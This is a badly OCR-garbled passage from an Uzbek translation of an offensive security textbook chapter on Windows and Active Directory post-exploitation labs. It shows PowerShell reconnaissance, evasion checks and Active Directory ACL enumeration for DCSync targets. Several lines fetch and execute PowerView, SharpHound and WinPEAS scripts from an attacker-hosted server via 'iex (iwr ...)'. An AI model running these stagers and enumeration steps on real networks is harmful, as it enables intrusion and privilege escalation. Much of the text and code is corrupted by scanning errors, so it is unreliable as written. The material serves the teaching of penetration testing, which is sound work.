derlari sifatida ro*yxatdan ol ;niqlﬁSh mumkin. Natlj'a b']|:l;lnlioini sttt
ror narsa f Ob’d"lanaymga’?hg]10)’alangan). i kinligi tekshiriladi. Ish-
Windows Der‘ender: rnglz;];: siyosatlar o'r11at'll:5}_:—3h|‘0:]'in;0;r;n§- PowerShell yuk-

Keyingi qadamda g qiluvchi Serip ssliS

| i ir bo‘layotgan
; il 270 o va seansda sod
f o buy.ruql)ad qiluvchi ModuleLogging
) v
laydigan modullarni q

i i skripsiyalLogging
ini gayd giluvchi Transkrip 21N
ghige= S dkglliﬂini tekshiramiz. Ularni si-
3 ‘ A ; : . 5 '
hamma narsani va t?ayl’g ‘ ivatlarini berishi m‘}m 11 ];I.ll‘l vaqtinchalik yechimlar-
A, K pusallatsiog ]mk?n; qilish xavfsiz va nima uc
‘tkazi da. nim
novdan o*tkazilgan

- o OliSh rnumkin:
ni o*rnatish kerakligini oldindan bilib

. . — -Errord Ignore

\Policies\Microsoft\Windows\Powershell -Er
. 1:\Software
PS C: > s HKLM:\S0

S C:\Users\target> : z hech gan-
mee h ganday ma’lumot olinmaydi. Bu | rarrclietr-
= helc 1'c-ib‘rnatilmaganligidan va standart pa
alan

1 . olish kito-
hi natija. Agar ushbu joyda ro‘yxatga :
yo anligi yaxs I ant'.l . 'r] Sg.h keJrak edi. ammo hozirda eng

) . 1 na . ’ ..
bi kalitlari bo‘lsa, qaysilari 0 E) yordamida pasaytirish bo‘ladi
< 29

2.
Xavfsiz variant PowerShell

Buyruq ishga tushiri_lg; Iopsi}’
day maxsus ro‘yxatga olis



—— T ————

Pastga tushirish mumkinligini aniglash uchun PowerShell’ning qaysi versiya-

lari o*rnatilganligini tekshirib ko*rish kerak:

PS C:\Users\targer> Get-ltemProperty

HKLM: Software\Microsoft\ PowerShell\* \PowerShellEngine |
== select PowerShellVersion

PowerShellVersion

2.0
3.1.14393.0

PS C:\Users\target> gci -include system.dll -recur

Senviw indir\Microsoft. Net\F ramework\yv*

Directory: C: \Windows\Microsoft, Net\F ramework\v4.0.303 19
Mode LastWrite Time Length Name

B e R S

e=== 7/2/2020 4:03 PM 3556616 System.qy

Kompyuteming 0°zi hagidagi ma’lumotlarni kot

buyrug‘idan foydalanish mumjin U; 'z Get-Computerinfo
. - U Juda ko* ’ apag: :
lekin avval Windows ma’lumot]ar keltirilgan; Pttt g7 ichiga oladi.

PSC:| Users\targer> Get-Cp
andms-.s'Bui!dLabE:c
WindowsC: urrentVersion

mputerinfp -Prop Windoys*

: 14393 , 1fi
L. 4;04.ama’mﬁe.m;_.«-efease.zomz-1742

Wr‘udawsEd;’!ionId " Servey
Windowsinsfm'!arion}'j;pe ; Se:e’ Patacenter
Window.s!nstaHDateF romRegj i o4

: 8istry 2 8/1/20
WindowsProd = ol
WindawsPrzd::g:f\(Lme ; :‘;03 76_40000_00000:?]4 i

- 5 T
H"mdowsRegsteredOrgan ization : 4 ’:ndows et Dedagenier
H'?ndows!fegisrered&mer » i
Windowss vstemRoor -

G Vindow

- : ioi va Amazon EC2
Bu Windows 2016 Datacenter rejimidan foy dalanayalgaﬂ“g\;‘:f Eld vs katalogi
Fi = .. & . W r g

da ro*yxatdan o*teanligini ko‘rsatadi. Tizim o‘rnatilgan sana va Windo

4 : *lish imkonini beradi.
joylashgan joy mavjud. Bu vaziyatdan xabardor bo*lish im

Tekshirish kerak bo‘lgan yana bir narsa - DevieeGuac yoa gwn 018 Y0 &
DeviceGuard — bu tizimda fagat ma’lum yaxﬁh'.kod lSh- a; 1:.‘15 xususiyati. Bu shuni
rarli dasturlarning oldini olishga yordam '.Jerz.iqlgan:/ b:n' I?shi Ilerak Get-Compu-
anglatadiki. bajaradigan har qanday kod ikkilik ko - ‘
terInfo buyrug'i yordamida quyidagilarni bilish mumkin:

” oyt el ¥
PS C:\Users\targer> Gef—(‘oni{’“"""hif” -Property DeviceG
DeviceGuardSmariStatus : Off -
DeviceGuardRequiredSecurityPropertt e
DeviceG uw'u’.-h'm'.-'ahfeSecm'f-',l':p ""P‘-”"’_’:’; :
DeviceGuardSecurityServicesC 0’!/;3’ o ‘“ .
DevieeG mu'u'.'ic'cm'f.{rSen'fce.\'R_ unning :. B
DeviceGuardCodeIntegrityPol "-'."E",!/m - er’!‘! L.E;r)‘brca’ menmStarus :
DeviceGuardUserModeCodelntegrityPolicyEn

. . ; r biz AVni
| o chirileanligini korish mumkKin, shuning uchui}a-gz; o
iceGuard o"chirligantis (Lt £ + irish mumkin.
l ]D;‘ l1Lc(Jltmtl'.(i[ncl'l lokal bo*Imagan ikkilik fayllarni lShga'tUSSeatbelt i
Che ‘tsak. tizimde e yamiz.
E:cdl'a i lba'I' h va qilmaslik hagida bir oz tasavvurga cga
:ndi nima qilish ve
koproq bilib olaylik.
t bilan tizim razvedkasi

Laboratoriya ishi 17.4: S::ltrll)'i'li hagida ma’lumot to*plashi mum-
it konfiguratsiyasi parametri
Seatbelt xost konfiguratsiy

s ouratsivalari. AMSI holati, OS ma’lu-
kin. Asosiy muammolar PowerShell k0[1ﬁgu{a't51} ?1_3"11 f:n muammolardir. Tlgari
I -l S'05]}1\— ri suratsiyasi kabi avvalroq k,o.nb cuqlgB safar tizim buyruglari
i?wtda:‘1 o Io'nbIE uglari guruhi ishga tushirilgan edi. Bu
Oydalanuvchi buyr

guruhi ishga tushiriladi:

L
o =system -¢
PS C:\Users\target> Invoke-Seatbelt -Command "-group=s,
S C:\Users\target=

====== JMSIProviders ===="" _ o
GUID : ;‘2:-3;76z£-33.€n-41(;9-99F;:f395))ﬂ:?lh et
ProviderPath : "C:\ProgramData\Mic .; 0s e
- - . Y W
Defender\Platform\4.18.2 m7.F4-fJWp( t

§ ' 2 Wk espace 1s not
SecuritvCenter2? WMI namesy

======AntiVirus ===="" of\
Cannot enumerate antivirus. " 0
available on Windows Ser t"i_
= ===== App[_f}(‘.k(’»"::___ "

* e service is Stoppec ¢ is not running
?*; -**:pp.{D.:& / S'L"nor running because the AppIDSve i

Applocker is X
[*] AppLocker not configure d
===== {RPTable ==

“snipped-

fad




Ba’zi elementlarni ham ko‘rib chigish mumk;
bo‘lgan jihatlardan biri — UserAccountContro]
uning sozlamalari ko‘rish mumkin. Bu foydala
o‘tish kabi xizmatlarni bajarish uchun imtiyoz|
lishlarini aniqlashga yordam beradi-

n. Tizim haqida bilish foydali
(UAC)"yoqilganligni aniglash va
nuvchilarni qo*shish yoki tizimga
i foydalanuychj darajasi talab qi-

PS C:\Users ltarget> Invoke
======J4C ======
& onsentPrompt BehaviorA dmin : 5 - PromptForNon;
EnableLUA (1s UaC enabled?) - |
LocalAccountTokenfF, ilterPolicy : |

F f!ferAdmfnfsrraforTaf’cen o0

[*] LocalAccount TokenF ilterPolicy == |. Any
can be used for laterql movement,

-Seatbelt -Commang UAC -¢'

ner'.l-'sBmm‘if.*.s'
administrative local account

1 ‘Imagan ik-
hpr b . » Windows nydalanuvchidan ikkilik
faylni ishga tushirishga ruxsat berishni tak]if qiladi. Agar ushby tizimea kirish
[ kc-)“rish Cheklanadi. gy, so‘rovlardan

Domen razvedkasij

mi bo*lgan deyarli barchg tizimlar
tory (,G}D)- ning bir gismi bo*ladj. AD - foydalanuvchilami. guruhl
terlarni, Slyosatlarni, saytlarni, tashkiliy zilmalarnj v, bbshqa]a

watalog xizmat. Har bir obyekdy obyektni belgilaydigay vy . bi

Active Direc-
arni, kompyu-
rni kuzatuvchi
lan kim o*zaro

Active Directo AD) ko* S )
n bo‘lishi m 'Y (AD) ko‘plaly tarkibjy qismlardan jbopgy vau

qiyi umkin. Agar siz Ay bilan tanjsh bo‘Imasan

larni tushunish
lash uchun yaxshi qo

Taninan; taklif gilagi. b _ giz, Microsoft bosh-

. x . ttps:f!docs,mlcrosgﬁ iy o
dows-servemdent1tyKad~dsfget-started/virtual-dc/acﬁve_dir .comfen. i
ces-view:. Cctory-domain-servi-

2 UserAccounL(‘onlrol (UAC) i
. : ~ OPERalSion iz iZ 0*zgari
Jallangan Windows Xavfsizlik xususiyafiL B FRIsE T

-

an himoya gilish yehun mo*l-

/ hi va guruhlarda
Fovd: *hi tizimda qanday xususiyatlgrga ega foy dz;lia;;;.t;lvl:erak. :hZim —
.O}.dfﬂa“,uu 1 cerak. Administratorlar k1t11llg1111.l1an:1 B
ekaqllgllll umqlasl_1 Ift_rﬂ 'S,l\-'tla,-ga bo*linganmi }’O-kl vO 'qm1 :viﬂari (Gf)(}) lma
chalik katta Flf:lﬂ!lglﬂf._tl} ;ﬁumkhin_ ot ) myosap Ob}i i GPO) v
dqanday ko‘rinishini bll:is ]bou"langa[‘[ligini o mur}i!fln. }Js{; ’?iZlaSh it AD
ﬂ'!d“‘_—li“i Vadular qf[iiruqiliu?va saqlash imkoniyatlarini qayerda
omeni qanday sozlanganlig

igini i shuni -ordam beradi.
ligini yaxshiroq tushunishga yo

aboratoriya ishi 12'5: P,

| Ldamida omee o Iumotla_l‘lm OI‘IS'Iarini ushbu

PowerShell ‘w.ll‘umot]arni bilish kerak. Bun'.rl!g. b: ztlichirector),

ida ko‘rildi. Active )

i ida foydalanuvchi va kompyuter p rorlil;dilk\'o‘pincha o'rnatilmaydi.

o g B it «dali bo*lishi mumkin bo’lsa- I'lari yordamida buni qanday

PowerShell b o sctory Service Interface A:P - : }1izimlarida mavjud va
shuning uchun Alcm;_ ([j)ilrfjshb-u API'lar barcha Windows

Qilishni korib chigiladi.

5 ishni talab gilmaydi.
qo*shimcha modullarni o rnatishni ta

Domen hagida asosiy ma

veDirectory. Domain]::GetCurrent Do-
[System Dj-mﬂ.m,.,SL.,q.h-L,.v..-ler.nLDnec tor
= rsfém. ;
PS C:\Usersitarget> [S)
Main()
Forest : ghh.local
DomainControllers :
Children : |} .
DomainMode : Unfcm:'n'- n
DomainModeLevel : !
Parent ; ; CODJ.ghh.loca
~CIAMAZ-TBK .
*deRoleOwner : EC2AMA @ hh.local
;?{'ff'g ‘}!L((;:r:':r - EC2AMAZ-TBKC ;)gl'ﬁga'cnﬂ.f‘ghh i
e 2 D AMAZ-
"?:;f‘a:'r;uc'frrrt')?uh'()wnw' - EC24M
Name : ghh.local

‘CoD.J.ghh.locall
JEC2AMAZ-TBKCODJ.Z

: i ghh.
i ko*rish mumkin. Domen nomi g
im ma’lumotlarni ko'ris _TBKCODJ.ghh.
'y ]ug) belgilangan. EC2AMAZ TBK' bilal%bil‘
faen I daliljasi Windows 2016 7 daraja
ona

5< 1 l: i i Sl]i mumkil‘l.
i (Ia 'ala alda tln]lCha lShIa '
V } [[ali ll.ll'li l.lnkSIOI'lal I _| l.l ; tl i y I :
xil‘ ¢ f‘Silek XUSUSI a . .-.i l“ ;
I(C i i cr bu)‘ Ug da“ 0 g ! :h
: }’II'I \Vhoal'nl /LIS

Jigi ko‘rib chigiladi:
hagida ADda qanday ma’lumotlar borligi ko‘rib chiq
aqida ADda qar

Bu yerda bir nechta muh[c
local va bitta domen nazor;l i U
local. DomainModeLevel-7.

[ fqdn
PS C:\Users\target= whoan! /fqd

] '—f =L/ S = D( —'—iocﬂ ¥
D . ;;‘ ( [ N it ef‘S,DC eh (8

-N H’g‘?l,c ‘n\I_ U. .‘[. n{s!./" .-’I} ) ‘A fﬂ’ggr-( ‘f\ l ;

‘Sl (‘.‘ \ {a{Sef .S“.I’a.' QE.’I > f_';l L

ecls |
berof. £~IM4ccor.fm.-’\-’ame.managed()b;ec A
- = select cn,membero), ™
: J=Tier
cn ; {target} afist. OU=T2-Roles, Ol
berof: {CN=RA-sto-distli !
memberof : Sy
2,0U=Admin, DC=ghhDC=10

\n




e

CN=AL-Yi m-admingroup, OU= De vices,OU=BDE O/~ Tier
2,DC=ghh,DC= local,
CN=GI-ENA-distlist Ol =AZR,OU= People, DC
CN=DE-con-distlist, O/~ Test, OU=G00, 0y =
sAMAccountName - {target}
managedObjects
ge,DC
=ghh.DC=local, CN=y I-sam
1.DC=ghh,DC=], ocal,

CN=VI-ang-distl, ist, OU=TST.0U =Stage, D= ghh.DC=[pe, il

CN =CH-_jr.*a—admingroup, OU=AZR O/~ Tier 2. pC = 8hh.DC=]peq l.}

=8hh.DC=locq)
Tier 2.DC= ghh.DC=] ocal...}

. {CN=G4 —majafl.’af‘.s‘-(ﬁsfﬁs(, ouU =Service ceounts, OU=GOO.OU=Sta-

~distlist, Ol = Test,OU=F, IN,OU=Tig

Ushbu natijalardan foydalanuvchj tashkil etuych; guruhlarni, shuningdek ular
boshqaradigan obyektlarni ko‘rish mumkin, By foydalanuychi guruh a’zoligi aso-

Nizationg| Units, OUs) ro‘yxa-
' “pincha tavsiflov-

PS C:\Users arget> SDomaiy - New-Objecy System, Directop
== $Searcher = New-Object System. Directory .
>> SSeamhe;:SeamhRoor = $Domain
=> $Searcher PropertiesTpl oad. Addy "d.*'.'sHngu.*'sf?edName
>> SSearcher. Filtey - "lobjectCate 201
>> 80Us = $Seqrch

er-Findalf()
>> 80Us | %( 3. Properries[ "ff.*'.wffrgm'.s‘!fedName "I}
OU=Domain ¢, ontrollers, DC =ghh,DC=loeqy
OU=Admin, DC=ghjp, DC=locql
OU=Tier 0, OU=Admin,pc =ghh,DC=locqy
OU= T0~Accomﬂs. OU=Tiep 0,0U =Admin hC
oU= TO—Server.v, OU=Tier 0,0U=Adm inDC=

Ser

vices. Dfrer,'.'wjl. ‘Entry
rSen'Fces.Dfrec!on

Searchey

" | Qut-Nyy
Y=organizationg; Unig)»

[ selecy ~first 5

=ghh, DC= locgl
ghh, DC:!OCG(

Fily C.'IUsenerargep Sou = 70 . )
.DC:'— .||'. = "

PSC:\ Isers\targer> Security. Accos 8hh,DC=lppq;

== | Where .4cmreDfrecrorij:'ghr.-; ~like "Genericdpen

== | Select !denﬁr_pReference, AecessCongy, ITipe

>> | ‘

A crfveD.r‘mcmr:vngk Is

fdenri{qufémnce “NTAUTHO
Access( ontrolType : Allow

RITY\SYST, FAS

i e RMELH(,;J:::::H:H! dmins
Identir vReference : ‘

A L'L'{“,\‘.;‘( ‘ontrolType : .-Hfm:t il
ActiveDirectoryRights : QL:JEL ’3 6343}_“”“
IdentityReference : G HH-S.( -2
AccessControl Tipe : A Hrn‘i il
Active DirectoryRights : Gene

istlis hi
: -266-distlist guru
ari, SC-26 ]
lari va SYSTEMdan l\lasifqh mumkin. Agar ushbu gu
inistrator foini ko'ris S
2L mistralora ke ini Ko'r g ish uchun
= o huquglarga ega cmnh%Udaui obyektlarni bO,Sh.qark rak:
el e hini topa olinsa. ushbu o ahuruh ni ko*rib chiqish kerak:
e i}.))-daianu\-}t-_ i qo-llash mumkin. Ushbu g
% rchit
ushbu foydalanuvch

irec ‘Lntry
srvices. DirectorvEntr
wle irectoryService :
n = New-Object o "H-:? DirectorvSearcher
f’ i ’ > 'fc{' »: o
PS C:\Users\target> osg;:;::; System. DirectorySer distlist)"
- @ssearcher - New-00 AR -266-distlis
e SOMMES v
> 35eareler Sﬂm‘hRmir { ;ubfecr(“aiegmj =group
F SSeareher Filter = (& (00
== @SSearcher Fi

FrindOne() : =ghh, DC=local
sSearcher. FindOne U=Tier 1,DC=g

"> iagjoip = SSeapchat Proper - OU=0GC.0 =Jocal

PS( ':“'.{-'.-.w-s'..'m;i.’c-'“ 05$’;3I£{']:Sls;ﬁ'i¢'¢’rlt"'-'” m{b:q %U:_-!dm.fn. DC=ghh, DC=loc

CN= K.-I'-nm.'-u(frnf:-’gr?;‘? Pc_;'.'ﬂfss."oﬂ.s'. oU=Tier BC.—_-g}'l'h.DC =local

CN=EVA SHAW,.OU=T2

" “=local
= B o, DC=ghh, DC

, QU=AZR.OU=SIG8%. - S o o crace.

CN=LAUREL """‘"I\:'J\rm’o'()‘T{{;i.-fc-a-lt'mun!& OU=TS

N=KATRINA COTTON,OU=

CN=KATRINA C(

R
ties["member"]

miidan ra-
Tumotlar BadBlood tomonic

i

frenn md

S zoliklar faryg
. sl e vehilar va a =
(1) o 'riall. !,;-.'(fuft-’””

f:..\fr!””t!.r [ lar hir . .L:m-,:;fh'r{‘fi.

¢ Lt ':h'_}hh:{
Soditiy r;'_'ghr,:‘”';‘n""urHh"rf.-..’*' L A
ihi : foydalani
Gilishi memkin. oo SaricloeniESy -
| . e i archer

i olish uchun ]-)]ljrefliash uchun DirectorySe
i . omenn i bieis

Hozir bo*lgan d

i irish kerak bo*l-
ry’ L mi lga oshiris
Kin, Keyin Active o k. Ushbu oby
Obyektini yaratish kerak. U

? larini o°z ichiga olga_n

ichiga Al S ;;aq[it:llli?iini yara'ltish kergl;l.a(g;:
8an barcha usullarni 0°Z lf:.355 protocol .(If?ftlchun & operatoridan fofa otean
Lighlweight o A'C‘iarini birlashtl‘fls’ mumiy nomi (CN) O-I Zne};nnti}ng.
s ol Comslorin tgan ob}fektnmg.:li olish uchun US_11[?u e e'hlm Kim-
oL byekt turi va qidlrlla)*m " guruh a”Z"_lar;llalik darajani oshlrlsh_ ucbarchasi-
Clementni topilgand'an Sol:fkin. . ke}’mcradi- dasni oSl
o kth‘lsz:ﬂ]:lashga yordam be
NI izlash kerakligini

bo‘lsa-da.
i lay mahorat )*Isa
" ba"a“Sh- s lashtiradigan
dullardan foydalanmana vazifani ancha oson
Ni qo*shimcha modu ——

; r
P OwerShell-dagi Powe

U dék 1 .ﬁik-

Bundan taShClar! d
‘ vjud.
; rug lar ma
arni qidirish uchun qoushlmcha buy
1 qidir

in



Eslatma! 1'011'1’.".\;}?.1(”!? hozirgi kg o Hah-
ham ko ‘plah w'.rm-.'n':fim'mm:whfmf qo Uaniladi Viodullarn
hum.{i' qgoleanda, ular lzatilmasltioj mimkin, any

larnine f’mr.:-z’m_)‘m;'ff.\{n.fr’m‘f lagqoslancadioun modul o 1)

Ine ha = Jilatlari ivh-

1O powersploit ichidioi ol -

-

Tig go shilm. 1.

Laboratoriya ishi 17.6: /

PowerSploit’da post-eksploit uchun foydali bo
bo‘lsa-da, Recon pastki katalogida
dan PowerSploit katalogida veb-s

lgan ko*plab modullar mavjud
gi PowerVieyw moduliga e'tibor Qaratiladi. Kali
erverni ishga tushiriladi-

[r(km’f kali)-[~]
S ed PowerSploijr
(kali kali)-[ ~/PowerSplojr]
S sudo python3 -m htip.server 8080

Serving HTTP on 0 0.0.0 port 8080 (hitp://0.0.0. 0:8080) ...

. magsadli seryergy Yuklanadi. Bunj jex/iwr
malga oshirish mumkin:

PS¢ .‘|User.ﬂ!a:ger> iex ( pwy htip:/710.0.0, 4"}-‘3"73fJ/Recrm/Pou-m-l’few psl )
llgari ko‘rib chig

gan ba’zj Xususiyatlarn; sinab ko‘rilad;.
ma’lumot to*planadi:

Avval domen haqida

PSC: User:ﬂ!a:geb Ger-
Forest : ghh.locq

DomamComroﬁer:s : {EC.'»‘AMAZ—TBKCODJ hh |,
Children : f Ry
DomainMode - Unknown

DomainModeLeve! s
Pareny

PdcRole Ovwne, EC24Maz. TBKCopy
RidRole Owner : EC 24AMAZ- TBKC 0DJ

Irﬁasn'uc!w'eRofe Owner : EC24 MAz.
Name : ghh.local

Domeain

&hh.locq)
ghh.locar
TBKCopy &hh.locqy

PS C:\Useps ltarger> G-

: Domai
df.ﬂmguishedname

MOU | selec Dfsringuis‘f:edf\fame

——————

OU=Domqiy C ontrollers, D =&hh,D(C- local

O({ =4 a’min,DC=gf?ﬁ-DC local
ghh,DC =local

U=Tier 0, OU—*-Admm. DC=

quvatlanmaydi. lekin o hali

: dlet’dan
uchun GetDomainObject ACL ¢cm

g : -
o verView . Buni to

shash GUID ko‘rinishida. P,O.\ dam beradi

qilish uchun ularni o' zgartirl

y -

i,
ESl ol

‘yxatini L) olish
irishni boshqarish ro’yxatini (ACL)
= fovdalanish mumkin:

‘i sining
Administrator bo'linmasining

. =ghh.DC=local"

oo Aol "OU=Admin, DC=8
1~ Get-Domain( )b_gec}r.-h i{ ou

PS C:\Users \targe o Celocd
ObjectDN - OU = Admin,DC=ghh.D
ObjectSID : ‘ _
Active DirectorvRights .
BinaryLength : 20 N
A ceQuallfier : AccessDenied
IsCallback : False
Opaquelength : 0 .
AccessMask : 656102 0
Sec‘m'i{\ Identifier : S- ! -g -
Ace ?_“1;()'_- s AccessDeniec

DeleteChild. DeleteTree, Delete
(S

avvalgi ADSI. us.u!iga- o';c-
uvchining kirishini aniqroq
lash uchun Get—.Do-
_ResolveGuids opsiyasidan

-uxsatlar
/a ruxsat
qilinmagan va e
Foydalanuvchi SID hal qilinmag har bir foydalan

shga yong cmdlet va

srtFrom-
MainObjectAcl uchun Conve
ﬁ3’)’Clalanam1iz:

=t . I'J!I'
"OU= Admin,DC =ghh,DC loca

: ioctA {_‘! wd" 1
, inObjec s dllowea
PS C:\Users\targer> Get-Doma -eq "dccessAll mny § Ac

e AceType ifier) *+

JUIDs |where ACCTIPE 2y ifier
> - Rv.\-.«(:{re(: (, f:g:,l,:. é‘;D S_.S"I‘!;;” ityvlder
> 9/ (CommnipmSie fe
SHH\Domain Aduiins: G
Enterprise Domain C (Jim;erft'ﬁcﬂf'
Authenticated Users: ('; ;f
Lf?{,'{da‘i'l'-\'“’"“: G{’Ht’rul‘ ) (J.L,”epft';uf
GHH\Enterprise Admins: icAll
(};.”.“G;_J,'"[.gﬁ_\'ﬂ'i.'-‘f-' {;g;{;ms: Ge.'l't’."f{?-“”f
GHH\BDEWWEBSIO00UUSE, b,
GHH\18-lucas 1983-distlis!:

onl
; i ancha 05
Bu ma’lumotlarni .O.QIISI:-?gla ega bo‘lgan tiyozl
View-dan DCSync imtiyozlaris replikatsiya m
Menida barcha imti}’OZIarl s i
ACL pj olish uchun foydala

] ?
(iveDirectoryRights |

nericRead

:radi. Bundan tashgari g;\\:;:
e Januvchilarni topish, do-
e iga ega bo‘lganlar uchur
ar g

_ResolveGUIDs

"nC —.:ghh, DC::I?CHI
atch ‘GenericAll)

5 {,'fACL
o> Get-Olj® Gel')}

[ y s e i " -m : g -
ig C-;* i ‘: ﬂ: 'é'ieDiret'F" ’Tngh !: 'Replication
s {($_J; " tAceType -Mar 1llowed" /
= -or (§_.ObjectAceIpe """ o
Ss |0f.;( e AceType -eq "1ece s curitvident ifie
>> | ::/:'et: ; 1en-'me-SfD5
. af Conw _
GHH\Fn terprise Admins
GHH\G!:;’U!—(”SH.‘S{ 05
GHH\BDEWWEBS100000




GHH\I8-lucas 1983-distlist
GHH\NE-ailime678-distlist
GHH \IR-aguilucho-distlist
Local System

Endi DCSync hujumini amalga oshi
nishonga olishni bilish mumkin. Bu
ta narsalardan biri. Bobning keyingi
ma’lumotlardan ko‘p sonli so‘rovlar y
larni taktik jihatdan topish uchun foy
eng sevimli vositalardan biri Blood}
motlarini to‘playdi va keyin Neodj
ko*rish vositasida ma’lumotlarn; qi
shundaki, u juda ko*p so‘rovlarni
zararli niyatlarni aniglash uchun q
dan u aynigsa xavfsiz emas.

rish uchun qaysi foydalanuvchilarni
qidirib topish mumkin bo*lgan bir nech-
qismida batafsilroq to*xtalinadi. Ushbu
ubormasdan domenda kerakl; ma’lumot-
dalanish mumkin, ammo odamlar uchun
lound. BloodHound ko*plab AD ma’|u-
deb nomlangan grafik ma’lumotlar
dirish imkonini beradi. Buning salbi
yuboradi va ko*proq etuk tashkilot]
idiradi, shuning uchun OpSec nuqt

bazasini
Y tomoni
ar ularnj
ai nazari-

Laboratoriy

a ishi 17.7; SharpHound bilan
AD ma’lumotlar

ini yig‘ish va hujumni kengaytirish
anishning yanada maxfiy

‘rash uchun foydalanishdir.
Hound uchun C# da ma’lumotlarni yig*ish vositasi,

bo*lgani kabi, bu ikkilik fayllar uchun bir x| PowerShe

ladi. Kali tizimida PowerSharpBinaries katalogiga qayt
ishga tushiriladi:

usuli SharpHound-dan
SharpHound - Blood-
Avvalgi laboratoriyalarda
Il qadamlaridan foydalani-
iladi va veb-serverni qayta

(kali kali)-[~]
S cd Si:aerack/Pms-*enS’f':aJ;r)Bmarfes
(kali kali)- | ~/SharpPack/PowerSh
S sudo python3 -m htip.server 8080
Serving HTTP on () 0.0.0 port 8080 (http://0.0.0.0:

arpBinaries|

rS’OSO/_’}

Endi Target tizimida bun; iex/iwr stager Yordamida bajarilad;

PSEC .'1Usersiimger> iex (iwr http://10.0.0. 40.‘8080/!}?1;0;@_ Sharphoun d3.ps1)
D5

SharpHound turl; yig‘ish

usullariga egq. DC . ;
So°rovlarni xost odatda aloga qi]maydiggan tigzi COnly fagat DClarni so‘raydi.

mlar bilap cheklaydi:

arphound3 ~Comman »

______ _ ~Collection let

PSC: Users\targer Invoke-Sh

e ——— e e,
e

hod=DCOnyy"

e e
e —

y -

M .,
_ ObjectProps, Contain
Resolved Collection Methods: Group, Trusts, ACL, Obj

GPOLocalGroup, DCOnly o AL using path
[+] ({m iwing .ﬂ‘;-’;‘wmu map for dor v Cfggégi LOCAL
CN S‘chum;:.('.\""("”!f “-“""mmm'»m ’ (: 'af‘}u’

[*] Cache File not Found: 0 Obj ‘:,} - SIDS

[+ ] Pre-populating Domain ¢ Uh"{?- ‘:I'Q 171 MB RAM .
Status: 0 “h}:t,“’_\‘_ﬁ”f'.\'hl’df" 0 "" j; ‘\144 75)/s - Using 33
Status: 3379 ”hjm_-r_\-_ﬁnf:ﬂ’.'u:f (+33 -9;)995‘8

Enumeration finished in 00:00:04.

{‘ e e IICT !”’f.\'(} '|. l() 1’”“'
r””"ﬂt"‘.\”:‘i. e .

' s GraPhing!
o s Aeeths 1o the Ul /2021! Happy GraP
You can upload this file dit t(E filg;l’-'*-’d at 2:32 AMon 8/9/20: H
: ; J
DanceBarttle EnumEration €0

2 MB RAM

3 .’uk..
Hound GUI ga y
. 4irish uchun Blood
Y I 71P fayl ma’lumotlarni qidirish u
‘aratilgan ZIP fay
lanishi mumkin. . da ko'p xofira
Neo4j katta domenlar L‘lChur-ll-lsq..da ) ik
bulut tizimida qilish mumkin bct; i;l1lalisll odatda tez
da'ﬂlln‘aasanuiz, ugtiER S”z‘m'; lanish uchun https:
Ma’lumotlarni olish uchun foyda

ieh ko'rsatma
r s l-u‘][Sh ko
Cn/latest/ saytida o-rnatish va 10} dal

i iste” ilishi mumkin. Buni
:::aI i’tzt::lwbluﬁ.ltli nusxalardan foy-
roq bo*ladi. Bloodl-lound-d:elr}
//bloodhound.readth.edocs.lo
Jarini ko'rish mumkKin.

- a . . .ve
ESkall?t-sigandan so‘ng, lokal tizim. Attt
oshirtlg

canligini aniqlandi.
eca Cl\an]lb

i un eng yaxshi
erishish uch .
. sadlarga tohi a gobi-
o*llarini aniqlash mad boshgarish uchun 4o shimcha q
" . . s H "
Imtiyozlarni oshirish yo nlari va imtiyozlarni
'MKoniyat uchun AD tizi!

f y

amalga

N o ishni \p B
Endi tizimni o°rganishn 2k, Ba'zi imtiy

" . Y v)r
irectoryni ko'rib chigish Ke

A irish
. rni oshirl ¢ i yalangan
“yoz.lgiklami topish yaxshi himoy
n zail

digan ba’zi

hirish UCh*uhli tarni topishga }r-ordal'f;f[:giongla i mave
kin. I?O :,ok?konﬁgurals?’a':;l}ig :;ripﬂai'Siz sezilarli

. h ar g 1 foyaa R ' .
a:isproﬁIIﬁ‘Sh qu:lslyig SharpUpni ko'rib chiqadi,

...+ winPE beradi.
OS“ar:;rini aniglashga yordam
mmo

Lokal im

Lokal i1'mi}'0213r"_i 0s
Muhitda qiyin bo*lishi mum
Vositalar mavjud. Tizimda Wz
Judligjp; aniglash uchun tl?.ctlmv
Yaqtni olishi mumkin. ]-kkl,zual ilish
ul . ¢ tizim imni profil qilis

ar mumkin bo*lgan . PEAS bilan ml-?nlzrli)[:t{; c#qyoki omma-
T > ajoy1o SK'P in bo*
Laboratoriy# lts“;::lzlarni 05"1“5?1;1:;511\;; ishiatilishi mumkin bo‘lgan
) v ot (Mt i
WinPEAS vositasi (1M

- Shell
g bl s o harp Pack Power

. . g tiziminl p‘ nlangan S - «il HTTP
Y1y ish fayli bo'lib, u “‘;:"rc:])(‘; giladi. Ka“;d;;ici.shlarida sozlangan bir xil H

2aifliklarpi aniglashga ha i laborato

: inadi va ba’zi
iladi rs.ps] skriptl yuklab olina
Versiyasidan foydalaniladi- ¢ [nvoke-W1pers:
OYdalanychisidan foydalant:

Variantlar tekshiriladi: 39

B



PS C:\Software> iex (iwr http://10.0.0.4 O.'SOSO/!m-'oﬁ:e-\'.'mPEAS.p.H )
PS C:\Software> Invoke-winPEAS
<snipped=>

[?] Windows vulns search powered by Watson(https.://github. com/rastamouse/
Watson)

OS Build Number: 14393

[!] CVE-2019-0836 : VULNERABLE

{=] htips://exploit-db. com/exploits/46718

(=] https:/idecoder.cloud/2019/04/2 Wmmb.*'1n'g-iuqﬁy;nxf!uqﬁwas!rerm‘-.w-r’re«

rac'e-c'ondirion-pe-wilk—diaghub«coﬂectar—e.rp:'oif-_ﬁ'om.frwm’m d-
user-to-system/

[!] CVE-2019-0841 : VULNERABLE

(=] htips://github.com/rogue-kde/CVE-20 ] 9-0841
[>] htps://rastamouse. me/tags/cve-2019-0841/
['] CVE-2019-1064 : VULNERABLE

[=] htps:/iwww.rythmstick. net/posis/cve-2019-1064/
<Snipped>

Tizim haqgida juda ko'p ma’lumotlarni, shuningdek imtiyozlarni oshirish
uchun foydali bolishi mumkin bo‘lgan ba’zi zaifliklarni ko‘rish mumkin, Ular-
ning aksariyati tizimga AV yoki EDR ni ko‘rsatishi mumkin bo*lgan qo*shimcha
ikkiliklarni yuklab olishni talab qiladi. Biroq, skript bizga Seatbelt tizimj orqali

qdim etadi, shuning uchun by ma’lumot-

Laboratoriya ishj 17.9;

SharpUp bilan imtiyozlarnj oshirish
Xuddi shu sozlamalarni saqlagan holda

uchun “Invoke-Sharp Up.ps1™ni ishga tushi
qobig*i sessiyasidan foydalangan holda):

